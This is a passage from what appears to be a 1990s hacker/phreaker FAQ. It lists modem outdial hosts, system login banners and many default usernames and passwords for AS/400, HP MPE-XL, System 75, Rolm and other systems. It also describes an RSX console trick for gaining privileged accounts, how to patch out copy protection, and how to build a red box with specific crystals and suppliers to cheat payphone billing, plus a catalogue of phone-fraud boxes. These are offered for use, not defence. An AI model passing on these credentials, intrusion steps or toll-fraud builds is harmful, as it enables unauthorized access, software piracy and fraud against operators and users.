dial2400 D 99k # 615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx 616 modem.calvin.edu 617 128.52.30.3 2400baud 617 dialout.lcs.mit.edu 617 dialout1.princeton.edu 617 isdn3.Princeton.EDU 617 jadwingymkip0.Princeton.EDU 617 lord-stanley.Princeton.EDU 617 mpanus.Princeton.EDU 617 mrmodem.wellesley.edu 617 old-dialout.Princeton.EDU 617 stagger.Princeton.EDU 617 sunshine-02.lcs.mit.edu 617 waddle.Princeton.EDU 619 128.54.30.1 atdt [area][phone] 619 dialin.ucsd.edu "dialout" 703 modem_pool.runet.edu 703 wal-3000.cns.vt.edu 713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx" or "Hayes" 713 modem12.bcm.tmc.edu 713 modem24.bcm.tmc.edu 713 modem24.bcm.tmc.edu 714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx 714 modem24.nts.uci.edu 714 pub-gopher.cwis.uci.edu 801 dswitch.byu.edu "C Modem" 808 irmodem.ifa.hawaii.edu 902 star.ccs.tuns.ca "dialout" 916 129.137.33.72 916 cc-dnet.ucdavis.edu connect hayes/dialout 916 engr-dnet1.engr.ucdavis.edu UCDNET C KEYCLUB ??? 128.119.131.11X (1 - 4) ??? 128.200.142.5 ??? 128.54.30.1 nue, X to discontinue, ? for Help ??? 128.6.1.41 ??? 128.6.1.42 ??? 129.137.33.72 ??? 129.180.1.57 ??? 140.112.3.2 ntu ??? annexdial.rz.uni-duesseldorf.de ??? dial96.ncl.ac.uk ??? dialout.plk.af.mil ??? ee21.ee.ncu.edu.tw cs8005 ??? im.mgt.ncu.edu.tw guest ??? modem.cis.uflu.edu ??? modem.ireq.hydro.qc.ca ??? modems.csuohio.edu ??? sparc20.ncu.edu.tw u349633 ??? sun2cc.nccu.edu.tw ? ??? ts-modem.une.oz.au ??? twncu865.ncu.edu.tw guest ??? vtnet1.cns.ut.edu "CALL" or "call" Conclusion ---------- If you find any of the outdials to have gone dead, changed commands, or require password, please let us know so we can keep this list as accurate as possible. If you would like to add to the list, feel free to mail us and it will be included in future versions of this list, with your name beside it. Have fun... [Editors note: Updates have been made to this document after the original publication] 20. What is this system? AIX ~~~ IBM AIX Version 3 for RISC System/6000 (C) Copyrights by IBM and by others 1982, 1990. login: [You will know an AIX system because it is the only Unix system that] [clears the screen and issues a login prompt near the bottom of the] [screen] AS/400 ~~~~~~ UserID? Password? Once in, type GO MAIN CDC Cyber ~~~~~~~~~ WELCOME TO THE NOS SOFTWARE SYSTEM. COPYRIGHT CONTROL DATA 1978, 1987. 88/02/16. 02.36.53. N265100 CSUS CYBER 170-730. NOS 2.5.2-678/3. FAMILY: You would normally just hit return at the family prompt. Next prompt is: USER NAME: CISCO Router ~~~~~~~~~~~~ FIRST BANK OF TNO 95-866 TNO VirtualBank REMOTE Router - TN043R1 Console Port SN - 00000866 TN043R1> DECserver ~~~~~~~~~ DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1 DPS502-DS700 (c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved Please type HELP if you need assistance Enter username> TNO Local> Hewlett Packard MPE-XL ~~~~~~~~~~~~~~~~~~~~~~ MPE XL: EXPECTED A :HELLO COMMAND. (CIERR 6057) MPE XL: EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424) MPE XL: GTN ~~~ WELCOME TO CITIBANK. PLEASE SIGN ON. XXXXXXXX @ PASSWORD = @ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= PLEASE ENTER YOUR ID:-1-> PLEASE ENTER YOUR PASSWORD:-2-> CITICORP (CITY NAME). KEY GHELP FOR HELP. XXX.XXX PLEASE SELECT SERVICE REQUIRED.-3-> Lantronix Terminal Server ~~~~~~~~~~~~~~~~~~~~~~~~~ Lantronix ETS16 Version V3.1/1(940623) Type HELP at the 'Local_15> ' prompt for assistance. Login password> Meridian Mail (Northern Telecom Phone/Voice Mail System) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ MMM MMMERIDIAN MMMMM MMMMM MMMMMM MMMMMM MMM MMMMM MMM MMMMM MMMMM MMM MMM MMM MMMMMM MMMMMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMMMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM Copyright (c) Northern Telecom, 1991 Novell ONLAN ~~~~~~~~~~~~ N [To access the systems it is best to own a copy of ONLAN/PC] PC-Anywhere ~~~~~~~~~~~ P [To access the systems it is best to own a copy of PCAnywhere Remote] PRIMOS ~~~~~~ PRIMENET 19.2.7F PPOA1 ER! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= CONNECT Primenet V 2.3 (system) LOGIN (you) User id? (system) SAPB5 (you) Password? (system) DROWSAP (you) OK, (system) ROLM CBX II ~~~~~~~~~~~ ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568 BIND DATE: 7/APR/93 COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED. ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY. YOU HAVE ENTERED CPU 1 12:38:47 ON WEDNESDAY 2/15/1995 USERNAME: op PASSWORD: INVALID USERNAME-PASSWORD PAIR ROLM-OSL ~~~~~~~~ MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47 RELEASE 8003 OSL, PLEASE. ? System75 ~~~~~~~~ Login: root INCORRECT LOGIN Login: browse Password: Software Version: G3s.b16.2.2 Terminal Type (513, 4410, 4425): [513] Tops-10 ~~~~~~~ NIH Timesharing NIH Tri-SMP 7.02-FF 16:30:04 TTY11 system 1378/1381/1453 Connected to Node Happy(40) Line # 12 Please LOGIN . VM/370 ~~~~~~ VM/370 ! VM/ESA ~~~~~~ VM/ESA ONLINE TBVM2 VM/ESA Rel 1.1 PUT 9200 Fill in your USERID and PASSWORD and press ENTER (Your password will not appear when you type it) USERID ===> PASSWORD ===> COMMAND ===> Xylogics Annex Communications Server ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc. Checking authorization, Please wait... Annex username: TNO Annex password: Permission granted annex: 21. What are the default accounts for XXX? AIX ~~~ guest guest AS/400 ~~~~~~ qsecofr qsecofr /* master security officer */ qsysopr qsysopr /* system operator */ qpgmr qpgmr /* default programmer */ also ibm/password ibm/2222 ibm/service qsecofr/1111111 qsecofr/2222222 qsvr/qsvr secofr/secofr DECserver ~~~~~~~~~ ACCESS SYSTEM Dynix (The library software, not the UnixOS) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (Type 'later' to exit to the login prompt) setup library circ <9 digit number> Hewlett Packard MPE-XL ~~~~~~~~~~~~~~~~~~~~~~ HELLO MANAGER.SYS HELLO MGR.SYS HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP HELLO OP.OPERATOR MGR CAROLIAN MGR CCC MGR CNAS MGR CONV MGR COGNOS OPERATOR COGNOS MANAGER COGNOS OPERATOR DISC MGR HPDESK MGR HPWORD FIELD HPWORD MGR HPOFFICE SPOOLMAN HPOFFICE ADVMAIL HPOFFICE MAIL HPOFFICE WP HPOFFICE MANAGER HPOFFICE MGR HPONLY FIELD HPP187 MGR HPP187 MGR HPP189 MGR HPP196 MGR INTX3 MGR ITF3000 MANAGER ITF3000 MAIL MAIL MGR NETBASE MGR REGO MGR RJE MGR ROBELLE MANAGER SECURITY MGR SECURITY FIELD SERVICE MANAGER SYS MGR SYS PCUSER SYS RSBCMON SYS OPERATOR SYS OPERATOR SYSTEM FIELD SUPPORT OPERATOR SUPPORT MANAGER TCH MAIL TELESUP MANAGER TELESUP MGR TELESUP SYS TELESUP MGE VESOFT MGE VESOFT MGR WORD MGR XLSERVER Common jobs are Pub, Sys, Data Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote Major BBS ~~~~~~~~~ Sysop Sysop Mitel PBX ~~~~~~~~~ SYSTEM NeXTSTEP ~~~~~~~~ root NeXT signa signa Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ fax PICK O/S ~~~~~~~~ DSA # Desquetop System Administrator DS DESQUETOP PHANTOM Prolog ~~~~~~ PBX PBX NETWORK NETWORK NETOP Rolm ~~~~ CBX Defaults op op op operator su super admin pwp eng engineer PhoneMail Defaults sysadmin sysadmin tech tech poll tech RSX ~~~ SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM) 1,1/system (Directory [1,1] Password SYSTEM) BATCH/BATCH SYSTEM/MANAGER USER/USER Default accounts for Micro/RSX: MICRO/RSX Alternately you can hit when the boot sequence asks you for the date and create an account using: RUN ACNT or RUN $ACNT (Numbers below 10 {oct} are Priveleged) Reboot and wait for the date/time question. Type ^C and at the MCR prompt, type "abo at." You must include the . dot! If this works, type "acs lb0:/blks=1000" to get some swap space so the new step won't wedge. type " run $acnt" and change the password of any account with a group number of 7 or less. You may find that the ^C does not work. Try ^Z and ESC as well. Also try all 3 as terminators to valid and invalid times. If none of the above work, use the halt switch to halt the system, just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx. then deposit 177777 into R6, cross your fingers, write protect the drive and continue the system. This will hopefully result in indirect blowing up... And hopefully the system has not been fully secured. SGI Irix ~~~~~~~~ 4DGifts guest demos lp nuucp tour tutor System 75 ~~~~~~~~~ bcim bcimpw bciim bciimpw bcms bcmspw, bcms bcnas bcnspw blue bluepw browse looker, browsepw craft crftpw, craftpw, crack cust custpw enquiry enquirypw field support inads indspw, inadspw, inads init initpw kraft kraftpw locate locatepw maint maintpw, rwmaint nms nmspw rcust rcustpw support supportpw tech field Taco Bell ~~~~~~~~~ rgm rollout tacobell Verifone Junior 2.05 ~~~~~~~~~~~~~~~~~~~~ Default password: 166816 VMS ~~~ field service systest utep XON / XON Junior ~~~~~~~~~~~~~~~~ Default password: 166831 22. What port is XXX on? The file /etc/services on most Unix machines lists the port assignments for that machine. For a complete list of port assignments, read RFC (Request For Comments) 1700 "Assigned Numbers" 23. What is a trojan/worm/virus/logic bomb? This FAQ answer was written by Theora: Trojan: Remember the Trojan Horse? Bad guys hid inside it until they could get into the city to do their evil deed. A trojan computer program is similar. It is a program which does an unauthorized function, hidden inside an authorized program. It does something other than what it claims to do, usually something malicious (although not necessarily!), and it is intended by the author to do whatever it does. If it's not intentional, its called a 'bug' or, in some cases, a feature :) Some virus scanning programs detect some trojans. Some virus scanning programs don't detect any trojans. No virus scanners detect all trojans. Virus: A virus is an independent program which reproduces itself. It may attach to other programs, it may create copies of itself (as in companion viruses). It may damage or corrupt data, change data, or degrade the performance of your system by utilizing resources such as memory or disk space. Some virus scanners detect some viruses. No virus scanners detect all viruses. No virus scanner can protect against "any and all viruses, known and unknown, now and forevermore". Worm: Made famous by Robert Morris, Jr. , worms are programs which reproduce by copying themselves over and over, system to system, using up resources and sometimes slowing down the systems. They are self contained and use the networks to spread, in much the same way viruses use files to spread. Some people say the solution to viruses and worms is to just not have any files or networks. They are probably correct. We would include computers. Logic Bomb: Code which will trigger a particular form of 'attack' when a designated condition is met. For instance, a logic bomb could delete all files on Dec. 5th. Unlike a virus, a logic bomb does not make copies of itself. 24. How can I protect myself from viruses and such? This FAQ answer was written by Theora: The most common viruses are boot sector infectors. You can help protect yourself against those by write protecting all disks which you do not need write access to. Definitely keep a set of write protected floppy system disks. If you get a virus, it will make things much simpler. And, they are good for coasters. Only kidding. Scan all incoming files with a recent copy of a good virus scanner. Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and Thunderbyte Anti-Virus. AVP is also a good proggie. Using more than one scanner could be helpful. You may get those one or two viruses that the other guy happened to miss this month. New viruses come out at the rate of about 8 per day now. NO scanner can keep up with them all, but the four mentioned here do the best job of keeping current. Any _good_ scanner will detect the majority of common viruses. No virus scanner will detect all viruses. Right now there are about 5600 known viruses. New ones are written all the time. If you use a scanner for virus detection, you need to make sure you get frequent updates. If you rely on behaviour blockers, you should know that such programs can be bypassed easily by a technique known as tunnelling. You may want to use integrity checkers as well as scanners. Keep in mind that while these can supply added protection, they are not foolproof. You may want to use a particular kind of scanner, called resident scanners. Those are programs which stay resident in the computer memory and constantly monitor program execution (and sometimes even access to the files containing programs). If you try to execute a program, the resident scanner receives control and scans it first for known viruses. Only if no such viruses are found, the program is allowed to execute. Most virus scanners will not protect you against many kinds of trojans, any sort of logic bombs, or worms. Theoretically, they _could_ protect you against logic bombs and/or worms, by addition of scanning strings; however, this is rarely done. The best, actually only way, to protect yourself is to know what you have on your system and make sure what you have there is authorised by you. Make freqent backups of all important files. Keep your DOS system files write protected. Write protect all disks that you do not need to write to. If you do get a virus, don't panic. Call the support department of the company who supplies your anti-virus product if you aren't sure of what you are doing. If the company you got your anti-virus software from does not have a good technical support department, change companies. The best way to make sure viruses are not spread is not to spread them. Some people do this intentionally. We discourage this. Viruses aren't cool. 25. Where can I get more information about viruses? This FAQ answer was written by Theora: Assembly lanaguage programming books illustrate the (boring) aspect of replication and have for a long time. The most exciting/interesting thing about viruses is all the controversy around them. Free speech, legality, and cute payloads are a lot more interesting than "find first, find next" calls. You can get information about the technical aspects of viruses, as well as help if you should happen to get a virus, from the virus-l FAQ, posted on comp. virus every so often. You can also pick up on the various debates there. There are alt.virus type newsgroups, but the level of technical expertise is minimal, and so far at least there has not been a lot of real "help" for people who want to get -rid- of a virus. There are a lot of virus experts. To become one, just call yourself one. Only Kidding. Understanding viruses involves understanding programming, operating systems, and their interaction. Understanding all of the 'Cult of Virus' business requires a lot of discernment. There are a number of good papers available on viruses, and the Cult of Virus; you can get information on them from just about anyone listed in the virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de is a pretty reliable site for proggies and text. 26. What is Cryptoxxxxxxx? This FAQ answer is excerpted from: Computer Security Basics by Deborah Russell and G.T. Gengemi Sr. A message is called either plaintext or cleartext. The process of disguising a message in such a way as to hide its substance is called encryption. An encrypted message is called ciphertext. The process of turning ciphertext back into plaintext is called decryption. The art and science of keeping messages secure is called cryptography, and it is practiced by cryptographers. Cryptanalysts are practitioners of cryptanalysis, the art and science of breaking ciphertext, i.e. seeing through the disguise. The branch of mathematics embodying both cryptography and cryptanalysis is called cryptology, and it's practitioners are called cryptologists. 27. What is PGP? This FAQ answer is excerpted from: PGP(tm) User's Guide Volume I: Essential Topics by Philip Zimmermann PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design. Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MS-DOS, Unix, VAX/VMS, and other computers. PGP allows people to exchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography. PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses. 28. What is Tempest? Tempest stands for Transient Electromagnetic Pulse Surveillance Technology. Computers and other electronic equipment release interference to their surrounding environment. You may observe this by placing two video monitors close together. The pictures will behave erratically until you space them apart. Although most of the time these emissions are simply annoyances, they can sometimes be very helpful. Suppose we wanted to see what project a target was working on. We could sit in a van outside her office and use sensitive electronic equipment to attempt to pick up and decipher the emanations from her video monitor. Our competitor, however, could shield the emanations from her equipment or use equipment without strong emanations. Tempest is the US Government program for evaluation and endorsement of electronic equipment that is safe from eavesdropping. 29. What is an anonymous remailer? An anonymous remailer is a system on the Internet that allows you to send e-mail anonymously or post messages to Usenet anonymously. You apply for an anonymous ID at the remailer site. Then, when you send a message to the remailer, it sends it out from your anonymous ID at the remailer. No one reading the post will know your real account name or host name. If someone sends a message to your anonymous ID, it will be forwarded to your real account by the remailer. 30. What are the addresses of some anonymous remailers? The most popular and stable anonymous remailer is anon.penet.fi, operated by Johan Helsingus. To obtain an anonymous ID, mail ping@anon.penet.fi. For assistance is obtaining an anonymous account at penet, mail help@anon.penet.fi. To see a list on anonymous remailers, finger remailer-list@kiwi.cs.berkeley.edu. 31. How do I defeat Copy Protection? There are two common methods of defeating copy protection. The first is to use a program that removes copy protection. Popular programs that do this are CopyIIPC from Central Point Software and CopyWrite from Quaid Software. The second method involves patching the copy protected program. For popular software, you may be able to locate a ready made patch. You can them apply the patch using any hex editor, such as debug or the Peter Norton's DiskEdit. If you cannot, you must patch the software yourself. Writing a patch requires a debugger, such as Soft-Ice or Sourcer. It also requires some knowledge of assembly language. Load the protected program under the debugger and watch for it to check the protection mechanism. When it does, change that portion of the code. The code can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump Unconditionally). Or the code may simply be replaced with NOP (No Operation) instructions. 32. What is 127.0.0.1? 127.0.0.1 is a loopback network connection. If you telnet, ftp, etc... to it you are connected to your own machine. 33. How do I post to a moderated newsgroup? Usenet messages consist of message headers and message bodies. The message header tells the news software how to process the message. Headers can be divided into two types, required and optional. Required headers are ones like "From" and "Newsgroups." Without the required headers, your message will not be posted properly. One of the optional headers is the "Approved" header. To post to a moderated newsgroup, simply add an Approved header line to your message header. The header line should contain the newsgroup moderators e-mail address. To see the correct format for your target newsgroup, save a message from the newsgroup and then look at it using any text editor. A "Approved" header line should look like this: Approved: will@gnu.ai.mit.edu There cannot not be a blank line in the message header. A blank line will cause any portion of the header after the blank line to be interpreted as part of the message body. For more information, read RFC 1036: Standard for Interchange of USENET messages. Section B: Telephony ~~~~~~~~~~~~~~~~~~~~ 01. What is a Red Box? When a coin is inserted into a payphone, the payphone emits a set of tones to ACTS (Automated Coin Toll System). Red boxes work by fooling ACTS into believing you have actually put money into the phone. The red box simply plays the ACTS tones into the telephone microphone. ACTS hears those tones, and allows you to place your call. The actual tones are: Nickel Signal 1700+2200 0.060s on Dime Signal 1700+2200 0.060s on, 0.060s off, twice repeating Quarter Signal 1700+2200 33ms on, 33ms off, 5 times repeating 02. How do I build a Red Box? Red boxes are commonly manufactured from modified Radio Shack tone dialers, Hallmark greeting cards, or made from scratch from readily available electronic components. To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open the dialer and replace the crystal with a new one. The purpose of the new crystal is to cause the * button on your tone dialer to create a 1700Mhz and 2200Mhz tone instead of the original 941Mhz and 1209Mhz tones. The exact value of the replacement crystal should be 6.466806 to create a perfect 1700Mhz tone and 6.513698 to create a perfect 2200mhz tone. A crystal close to those values will create a tone that easily falls within the loose tolerances of ACTS. The most popular choice is the 6.5536Mhz crystal, because it is the eaiest to procure. The old crystal is the large shiny metal component labeled "3.579545Mhz." When you are finished replacing the crystal, program the P1 button with five *'s. That will simulate a quarter tone each time you press P1. 03. Where can I get a 6.5536Mhz crystal? Your best bet is a local electronics store. Radio Shack sells them, but they are overpriced and the store must order them in. This takes approximately two weeks. In addition, many Radio Shack employees do not know that this can be done. Or, you could order the crystal mail order. This introduces Shipping and Handling charges, which are usually much greater than the price of the crystal. It's best to get several people together to share the S&H cost. Or, buy five or six yourself and sell them later. Some of the places you can order crystals are: Digi-Key 701 Brooks Avenue South P.O. Box 677 Thief River Falls, MN 56701-0677 (80)344-4539 Part Number:X415-ND /* Note: 6.500Mhz and only .197 x .433 x .149! */ Part Number:X018-ND JDR Microdevices: 2233 Branham Lane San Jose, CA 95124 (800)538-5000 Part Number: 6.5536MHZ Tandy Express Order Marketing 401 NE 38th Street Fort Worth, TX 76106 (800)241-8742 Part Number: 10068625 Alltronics 2300 Zanker Road San Jose CA 95131 (408)943-9774 Voice (408)943-9776 Fax (408)943-0622 BBS Part Number: 92A057 Mouser (800)346-6873 Part Number: 332-1066 04. Which payphones will a Red Box work on? Red Boxes will work on TelCo owned payphones, but not on COCOT's (Customer Owned Coin Operated Telephones). Red boxes work by fooling ACTS (Automated Coin Toll System) into believing you have put money into the pay phone. ACTS is the telephone company software responsible for saying "Please deposit XX cents" and listening for the coins being deposited. COCOT's do not use ACTS. On a COCOT, the pay phone itself is responsible for determining what coins have been inserted. 05. How do I make local calls with a Red Box? Payphones do not use ACTS for local calls. To use your red box for local calls, you have to fool ACTS into getting involved in the call. One way to do this, in some areas, is by dialing 10288-xxx-xxxx. This makes your call a long distance call, and brings ACTS into the picture. In other areas, you can call Directory Assistance and ask for the number of the person you are trying to reach. The operator will give you the number and then you will hear a message similar to "Your call can be completed automatically for an additional 35 cents." When this happens, you can then use ACTS tones. 06. What is a Blue Box? Blue boxes use a 2600hz tone to size control of telephone switches that use in-band signalling. The caller may then access special switch functions, with the usual purpose of making free long distance phone calls, using the tones provided by the Blue Box. 07. Do Blue Boxes still work? Blue Boxes still work in areas using in band signalling. Modern phone switches use out of band signalling. Nothing you send over the voice portion of bandwidth can control the switch. If you are in an area served by a switch using out of band signalling, you can still blue box by calling through an area served by older in-band equipment. 08. What is a Black Box? A Black Box is a 1.8k ohm resistor placed across your phone line to cause the phone company equipment to be unable to detect that you have answered your telephone. People who call you will then not be billed for the telephone call. Black boxes do not work under ESS. 09. What do all the colored boxes do? Acrylic Steal Three-Way-Calling, Call Waiting and programmable Call Forwarding on old 4-wire phone systems Aqua Drain the voltage of the FBI lock-in-trace/trap-trace Beige Lineman's hand set Black Allows the calling party to not be billed for the call placed Blast Phone microphone amplifier Blotto Supposedly shorts every fone out in the immediate area Blue Emulate a true operator by seizing a trunk with a 2600hz tone Brown Create a party line from 2 phone lines Bud Tap into your neighbors phone line Chartreuse Use the electricity from your phone line Cheese Connect two phones to create a diverter Chrome Manipulate Traffic Signals by Remote Control Clear A telephone pickup coil and a small amp used to make free calls on Fortress Phones Color Line activated telephone recorder Copper Cause crosstalk interference on an extender Crimson Hold button Dark Re-route outgoing or incoming calls to another phone Dayglo Connect to your neighbors phone line Divertor Re-route outgoing or incoming calls to another phone DLOC Create a party line from 2 phone lines Gold Dialout router Green Emulate the Coin Collect, Coin Return, and Ringback tones Infinity Remotely activated phone tap Jack Touch-Tone key pad Light In-use light Lunch AM transmitter Magenta Connect a remote phone line to another remote phone line Mauve Phone tap without cutting into a line Neon External microphone Noise Create line noise Olive External ringer Party Create a party line from 2 phone lines Pearl Tone generator Pink Create a party line from 2 phone lines Purple Telephone hold button Rainbow Kill a trace by putting 120v into the phone line (joke) Razz Tap into your neighbors phone Red Make free phone calls from pay phones by generating quarter tones Rock Add music to your phone line Scarlet Cause a neighbors phone line to have poor reception Silver Create the DTMF tones for A, B, C and D Static Keep the voltage on a phone line high Switch Add hold, indicator lights, conferencing, etc.. Tan Line activated telephone recorder Tron Reverse the phase of power to your house, causing your electric meter to run slower TV Cable "See" sound waves on your TV Urine Create a capacitative disturbance between the ring and tip wires in another's telephone headset Violet Keep a payphone from hanging up White Portable DTMF keypad Yellow Add an extension phone Box schematics may be retrieved from these FTP sites: ftp.netcom.com /pub/br/bradleym ftp.netcom.com /pub/va/vandal ftp.winternet.com /users/craigb 10. What is an ANAC number? An ANAC (Automatic Number Announcement Circuit) number is a telephone number that plays back the number of the telephone that called it. ANAC numbers are convenient if you want to know the telephone number of a pair of wires. 11. What is the ANAC number for my area? How to find your ANAC number: Look up your NPA (Area Code) and try the number listed for it. If that fails, try 1 plus the number listed for it. If that fails, try the common numbers like 311, 958 and 200-222-2222. If you find the ANAC number for your area, please let us know. Note that many times the ANAC number will vary for different switches in the same city. The geographic naming on the list is NOT intended to be an accurate reference for coverage patterns, it is for convenience only. Many companies operate 800 number services which will read back to you the number from which you are calling. Many of these require navigating a series of menus to get the phone number you are looking for. (800)238-4959 A voice mail system (800)328-2630 A phone sex line (800)568-3197 Info Access Telephone Company's Automated Blocking Line (800)571-8859 A phone sex line (800)692-6447 (800)MY-ANI-IS N (800)455-3256 Unknown An non-800 ANAC that works nationwide is 404-988-9664. The one catch with this number is that it must be dialed with the AT&T Carrier Access Code 10732. Another non-800 nationwide ANAC is Glen Robert of Full Disclosure Magazine's number, 10555-1-708-356-9646. Please use local ANAC numbers if you can, as abuse or overuse kills 800 ANAC numbers. NPA ANAC number Geographic area --- --------------- --------------------------------------------- 201 958 Hackensack/Jersey City/Newark/Paterson, NJ 202 811 District of Columbia 203 970 CT N 205 300-222-2222 Birmingham, AL N 205 300-555-5555 Many small towns in AL N 205 300-648-1111 Dora, AL N 205 300-765-4321 Bessemer, AL N 205 300-798-1111 Forestdale, AL N 205 300-833-3333 Birmingham N 205 557-2311 Birmingham, AL N 205 811 Pell City/Cropwell/Lincoln, AL N 205 841-1111 Tarrant, AL 205 908-222-2222 Birmingham, AL 206 411 WA (Not US West) 207 958 ME 209 830-2121 Stockton, CA 209 211-9779 Stockton, CA 212 958 Manhattan, NY U 213 114 Los Angeles, CA (GTE) 213 1223 Los Angeles, CA (Some 1AESS switches) 213 211-2345 Los Angeles, CA (English response) 213 211-2346 Los Angeles, CA (DTMF response) N 213 760-2??? Los Angeles, CA (DMS switches) 213 61056 Los Angeles, CA 214 570 Dallas, TX 214 790 Dallas, TX (GTE) 214 970-222-2222 Dallas, TX 214 970-611-1111 Dallas, TX (Southwestern Bell) 215 410-xxxx Philadelphia, PA 215 511 Philadelphia, PA 215 958 Philadelphia, PA N 216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH N 216 959-9892 Akron/Canton/Cleveland/Lorain/Youngstown, OH 217 200-xxx-xxxx Champaign-Urbana/Springfield, IL 219 550 Gary/Hammond/Michigan City/Southbend, IN 219 559 Gary/Hammond/Michigan City/Southbend, IN 301 958-9968 Hagerstown/Rockville, MD 310 114 Long Beach, CA (On many GTE switches) 310 1223 Long Beach, CA (Some 1AESS switches) 310 211-2345 Long Beach, CA (English response) 310 211-2346 Long Beach, CA (DTMF response) 312 200 Chicago, IL 312 290 Chicago, IL 312 1-200-8825 Chicago, IL (Last four change rapidly) 312 1-200-555-1212 Chicago, IL 313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI 313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI 313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI 313 200200200200200 Ann Arbor/Dearborn/Detroit, MI 314 410-xxxx# Columbia/Jefferson City/St.Louis, MO 315 953 Syracuse/Utica, NY 315 958 Syracuse/Utica, NY 315 998 Syracuse/Utica, NY 317 310-222-2222 Indianapolis/Kokomo, IN 317 559-222-2222 Indianapolis/Kokomo, IN 317 743-1218 Indianapolis/Kokomo, IN 401 200-200-4444 RI 401 222-2222 RI 402 311 Lincoln, NE 404 311 Atlanta, GA 404 940-xxx-xxxx Atlanta, GA 404 990 Atlanta, GA 405 890-7777777 Enid/Oklahoma City, OK 405 897 Enid/Oklahoma City, OK 407 200-222-2222 Orlando/West Palm Beach, FL 408 300-xxx-xxxx San Jose, CA 408 760 San Jose, CA 408 940 San Jose, CA 409 951 Beaumont/Galveston, TX 409 970-xxxx Beaumont/Galveston, TX 410 200-6969 A 410 200-555-1212 A 410 811 Annapolis/Baltimore, MD 412 711-6633 Pittsburgh, PA 412 711-4411 Pittsburgh, PA 412 999-xxxx Pittsburgh, PA 413 958 Pittsfield/Springfield, MA 413 200-555-5555 Pittsfield/Springfield, MA 414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI 415 200-555-1212 San Francisco, CA 415 211-2111 San Francisco, CA 415 2222 San Francisco, CA 415 640 San Francisco, CA 415 760-2878 San Francisco, CA 415 7600-2222 San Francisco, CA 419 311 Toledo, OH 502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY 502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY 503 611 Portland, OR 503 999 Portland, OR (GTE) 504 99882233 Baton Rouge/New Orleans, LA 504 201-269-1111 Baton Rouge/New Orleans, LA 504 998 Baton Rouge/New Orleans, LA 504 99851-0000000000 Baton Rouge/New Orleans, LA 508 958 Fall River/New Bedford/Worchester, MA 508 200-222-1234 Fall River/New Bedford/Worchester, MA 508 200-222-2222 Fall River/New Bedford/Worchester, MA 508 26011 Fall River/New Bedford/Worchester, MA 509 560 Spokane/Walla Walla/Yakima, WA 512 830 Austin/Corpus Christi, TX 512 970-xxxx Austin/Corpus Christi, TX 515 5463 Des Moines, IA 515 811 Des Moines, IA 516 958 Hempstead/Long Island, NY 516 968 Hempstead/Long Island, NY 517 200-222-2222 Bay City/Jackson/Lansing, MI 517 200200200200200 Bay City/Jackson/Lansing, MI 518 997 Albany/Schenectady/Troy, NY 518 998 Albany/Schenectady/Troy, NY 603 200-222-2222 NH 606 997-555-1212 Ashland/Winchester, KY 606 711 Ashland/Winchester, KY 607 993 Binghamton/Elmira, NY 609 958 Atlantic City/Camden/Trenton/Vineland, NJ 610 958 Allentown/Reading, PA 612 511 Minneapolis/St.Paul, MN N 614 200 Columbus/Steubenville, OH N 614 571 Columbus/Steubenville, OH 615 200200200200200 Chatanooga/Knoxville/Nashville, TN 615 2002222222 Chatanooga/Knoxville/Nashville, TN 615 830 Nashville, TN 616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI 617 200-222-1234 Boston, MA 617 200-222-2222 Boston, MA 617 200-444-4444 Boston, MA (Woburn, MA) 617 220-2622 Boston, MA 617 958 Boston, MA 618 200-xxx-xxxx 